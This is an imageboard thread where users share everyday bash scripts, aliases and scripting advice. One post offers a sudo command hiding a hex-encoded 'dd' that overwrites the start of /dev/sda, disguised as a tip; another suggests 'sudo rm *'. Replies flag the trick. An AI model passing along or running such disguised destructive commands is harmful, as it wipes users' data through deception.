Bash scripting

Just started with linux and found that I can make my life so much easier with some simple bash scripts in my /usr/bin/

>inb4 install gentoo
I like debian. fuck off

I was just wondering what you Sup Forumsuys use

Post your "little everyday helpers" that you made!
Anything goes

Other urls found in this thread:

linuxcommand.org/tlcl.php
mywiki.wooledge.org/BashGuide
stackoverflow.com/questions/6852612/bash-test-for-empty-string-with-x
github.com/NARKOZ/hacker-scripts
twitter.com/SFWRedditVideos

Don't put your own shit in /usr/bin. Use /usr/local/bin for systemwide stuff, or ~/bin for per-user stuff.

thanks for the advice

why though?
Is there any reason to do that except for cleanliness?

Everything outside the runtime directories and /usr/local is the domain of package managers. If you place anything there, you might risk name clashes or getting your shit deleted.

I just have a cron script that preloads packages for me on Arch, but you already have apt-cron for that on Debian.
#!/bin/bash
# exit in case a pacman transaction is currently in progress
[ -f /var/lib/pacman/db.lck ] && exit 1
TEMP_DATABASE="$(mktemp -d)"
cp -r /var/lib/pacman/local "$TEMP_DATABASE"
# sync into scrap copy of pacman db, so upgrade issues just lead to a halt
pacman -Syuw --noconfirm --noprogressbar --dbpath "$TEMP_DATABASE" &>/dev/null
EXIT_CODE=$?
rm -rf "$TEMP_DATABASE"
pacman -Fy --noconfirm --noprogressbar &>/dev/null
exit $EXIT_CODE

If you haven't already read it TLCL is awesome for getting started, and it's free: linuxcommand.org/tlcl.php

Also
is right. ~/bin will allow you to more easily control which executable takes precedence in case there are several with the same name in the locations in your $PATH-variable, not to mention it helps with the possible problems of your scripts getting overwritten by something that puts itself in /usr/bin or some naive programs thinking your script is something totally else that happens to have the same name. In short, just do it.

makes sense to do that
seems like i gotta change that now

Most distros will add ~/bin to your $PATH if ~/bin exists.
Check your .profile or .bash_profile.

install solus

bump for interest

I use a script that randomizes the names of files in the directory I'm in in the manner of what you see with pic related. I can't post it but it's just simply a bash script that uses curl insertions to get names from an online generator(you need to find a proper API for it I think). I didn't make the script myself(it was made for me) so don't ask me about it.

Simple alias that plays midi files on linux:
alias playmidi="fluidsynth -a pulseaudio -m alsa_seq -l -i /usr/share/soundfonts/FluidR3_GM.sf2"

I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

Unless you really care what kind of words they are couldn't you just pull them from /usr/share/dict/american-english or something?

>GNU tools
>Linux logo
dumb normies

From what I know, the online generator is needed for specifying the pattern of adjective-adjective-noun that I was going for.

But yeah, if you didn't care about that, I guess you could just do that.

I use this to delete duplicates from bash_history while preserving order. I run it once at X login by putting an entry in in Xfce application autostart.
#!/bin/bash

sleep 1
TMPFILE=$(mktemp)
if tac $HOME/.bash_history | awk '!x[$0]++' | tac > "$TMPFILE"
then
mv -f "$TMPFILE" $HOME/.bash_history
else
exit
fi

...

The "else exit" part is superfluous.

Actually now that I think about it it isn't if you want to exit with 0 even if the pipeline fails. If that's your intention why do you do it?

where do you export path ~/bin, in ~/.bash_profile and that will take precedence?

- You're mixing sh and bash, since most of your script is a sh, and bash is not needed, use #!/bin/sh and > /dev/null 2>&1 instead of &>/dev/null (which is a bashism).
- Don't use uppercase variables, these are reserved for ENV variables.
- Quote your variales, always.

- This is a sh script, use #!/bin/sh.
- Don't use uppercase variables, these are reserved for ENV variables.
- Quote your variales, always.
- What's the point of that sleep?

For ~/bin to take precedence over everything else:

export PATH=~/bin:"$PATH"

export PATH="$PATH:~/bin"

...in .bashrc, whoops. Preferably do this as late as possible in the file.

You can add something to a variable using +=.

export PATH+=':~/bin'

Yep, but in that case all directories before ~/bin take precedence I think.

BTW you don't need to quote stuff on the right side of assignments in sh unless you want to stop some special character from being interpreted, not even if it has word breaks in it UNLESS it's a literal.

var='hello world' #need quotes because there's whitespace in the literal
var2=$var #no need for quotes even though when expanded $var has whitespace
var3=$(echo hello world) #don't need quotes
var4=${var3:4:3} #'o w' from 'hello world', still don't need quotes


That said it's much easier to learn the few exceptions in sh where you CAN'T quote your variables instead of the many where you must so unless you really want to get into it just quote pretty much everything.

thx, stolen

No user. You always quote variables, not because you don't need quotes in some situations, but because it's simply wrong to leave the unquoted.

The only situation off the top of my head I can think where you can't quote is $((...)) arithmetic. With bash you can, but with zsh, dash and ash you can't.

That said you don't need the $ in your variables in $((...)) arithmetic except with some shells if $var is an operator but not if var is an expression that HAS an operator (e.g. var='5*5', tested with zsh). There's plenty of exceptions with all kinds of different shells so obviously it's just best to do it the POSIX way.

It is my first script and I'm not sure of the consequences of non-zero exit status, so I figured it's best to fail silently since nothing is critical. Also, while poking around shipped cron scripts and the likes, I see many times "exit 0" is specified, regardless of failure or not.
Maybe in hindsight I shouldn't be sharing possible-improper scripts, but it works and fixes multi-shell history duplication, so why not.
>This is a sh script, use #!/bin/sh
How so? I followed TLDP Bash howto. And according to the man page, bash is compatible with sh: "Bash is an sh-compatible[...]".
>reserved for ENV variables
$TMPFILE does not appear to be set on my machine, but you're right.
>What's the point of that sleep?
To stagger IO at login.

Actually I was right to begin with it, since it doesn't have set -eo pipefail it will always exit with 0 even if the pipeline fails. If you omit the code for exit it uses the last command's exit status which in this case will always be zero, verify with:

if true | false; then echo hello; fi; echo $?


$? holds the exit status. That piece of code will always return 0 even if pipefail is set (presumably because the checking of the condition with 'if' worked no problem even though the condition is considered false) but if you've done set -eo pipefail the entire script will exit right away with an encountered non-zero exit status (in this case as soon as there's a problem when executing the pipeline) and thus the script exits with that command's exit status.

>I followed TLDP Bash howto
It's trash. If you want to learn it correctly, go here: mywiki.wooledge.org/BashGuide

I put my bash functions in files in ~/Documents/sh/ and add source them in my ~/.bashrc

>I was just wondering what you Sup Forumsuys use
I use real scripting languages instead that werk on all platforms.

>it will always exit with 0 even if the pipeline fails
Darn, then if the first tac command fails your .bash_history gets set to the empty file of mktemp.
When testing the script, I only considered the failure of the mktemp command, and falsely assumed an exit status of 1 meant the pipe failed, when actually, as you've pointed out, the exit status was the mv command failing.

>bash
Windows batch scripting is better.

>linux
GN/Linux*
GNU bash*

Is bash the new defacto standard?
Checking old unix books the most highly recommended shell was one that wasn't standard but bash was built with some of it's capabilities since it did it first, but when people used unix at the time it wasn't a common shell on unix terminals.
Is bash the defacto standard of unix-like systems?

Since linux is an anagram of unix with one extra letter added I wonder if that's really why it became so popular. It's nearly synonymous with what gnu was trying to replicate.

file size increased, virus was rar zipped
im not downloading that

>defacto
Yes, but that doesn't mean much. People will forever be writing shell scripts that employ stuff like
[ "x$var" = 'x' ] # check if $var is empty

because dropping support for old system is a really touchy subject for Unix nerds.

I'm only asking because people have flamed me for using an old shell, except it's protected me a few times. If I google what people tell me to do and I can't find information on what it is doing... Assuming I have no idea what I'm doing. Sometimes if it is malicious the process will not execute. Then the further I dig into the system and researching about systems I figure out a way to make what I was asking about to work.
The obscurity of use that was a hindrance to people that traditional had to use unix and wanting to use that shell has been a bit of a benefit to me and learning about manipulating a computer.

Actually there's a bit of a divide I forgot to mention. For example on Ubuntu /bin/sh is actually dash but the standard interactive shell is bash. I don't know how common that is but basically on anything even remotely modern (and we're talking within a decade plus here) you'll probably find bash and it's often the default at least for the interactive shell unless the devs are philosophically opposed to that I guess. Point is in the end bash being the default interactive shell for most modern *nix and unix-like systems and distributions doesn't matter because unless it's a quick and dirty personal script you'll want to write awful POSIX shell scripts to ensure it'll work for everyone (well, almost everyone).

Modern is throwing 8gb of ram at it.
I didn't make that up, it's recommended.
I have no idea who came up with it or why.

So for shells there is a political thing?
Posix is not politicized widely. I spoke to someone that trouble shoots for a living and they have no familiarity with free software. I understand that for a paycheck they're trouble shooting what gets brought in which means big business systems, based off unix. Should the basic building blocks of an OS be off a BASH shell or are all these other ones going to die off?

>what is -n

Yes, the point is that for legacy reasons you don't use -n when doing that: stackoverflow.com/questions/6852612/bash-test-for-empty-string-with-x

Try
grep -d recurse '= x ]' /etc/*


I have some shell scripts in grub.d that do exactly this.

#!/usr/bin/env xonsh
for file in $(find ~/Music/TempleOS -name *.wav).split('\n'):
aplay @(file)


Plays gospel songs.

The ~ won't expand if it's inside quotes. You'll have to do one of these:

export PATH="$PATH":~/bin

export PATH=~/bin:"$PATH"

I'd say that's right.
Also, the core of UNIX is the kernel, system calls operate at that level, and that, plus implementation details (at kernel level) is the first distinction one can think of between UNIX systems, so it made more sense to separate Linux as a kernel (from Solaris, BSD, HP/UX, AIX, Minix, Plan9, and other systems of the time).

check it:

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)

>people are just going to run an obfuscated command through sudo
try harder

>count=100 bs=1M
Phew, thankfully I have GPT and the first 200MiB consists of an efi partition, so nothing lost besides having to restore GPT, format, and reinstall Grub in chroot.
I do all the time.

sudo rm *

hexdump -ve '1/1 "%.2x"' in.bin > out.hex
Takes a binary file and turns it into nice easy to handle hex characters.

while read -r -d '' -n 2 BYTES; do printf "\x${BYTES}" >> out.bin; done < in.hex
Takes the output from the above and turns it back into a binary.

>autodownload all images in Sup Forums thread
>download .zip format on imgur post

rest of my stuff is in python.

Install Gentoo

oh i forgot I modified script of my openwrt slider to function slightly different.
On boot I have it detect if the slider has been changed and do nothing if it hasn't, and for some reason the original bash script didn't check it on boot, only worked if the switch actually made a change.
>ap mode
>client mode
>execute custom script mode

Mind sharing the Sup Forums script?

Its on my openwrt router unfortunately, and i just moved so that is in a box somewhere.

>>autodownload all images in Sup Forums thread
Why would you do that in bash?

>Sudo apt-get update && sudo apt-get upgrade

pls no hate. don't know how to do better.

I literally just started learning

I made one that syncs my wordpress static folder hosted at home to my vps

I want to learn how to make one that handles apache virtual hosts, so I can easly get a new site up and running.


This is a good read: github.com/NARKOZ/hacker-scripts

Instead of putting shit in /bin you could store it somewhere else and have a short alias in your .bashrc to run it if it's something you do often. You could also implement stuff as functions in your .bashrc rather than separate script files.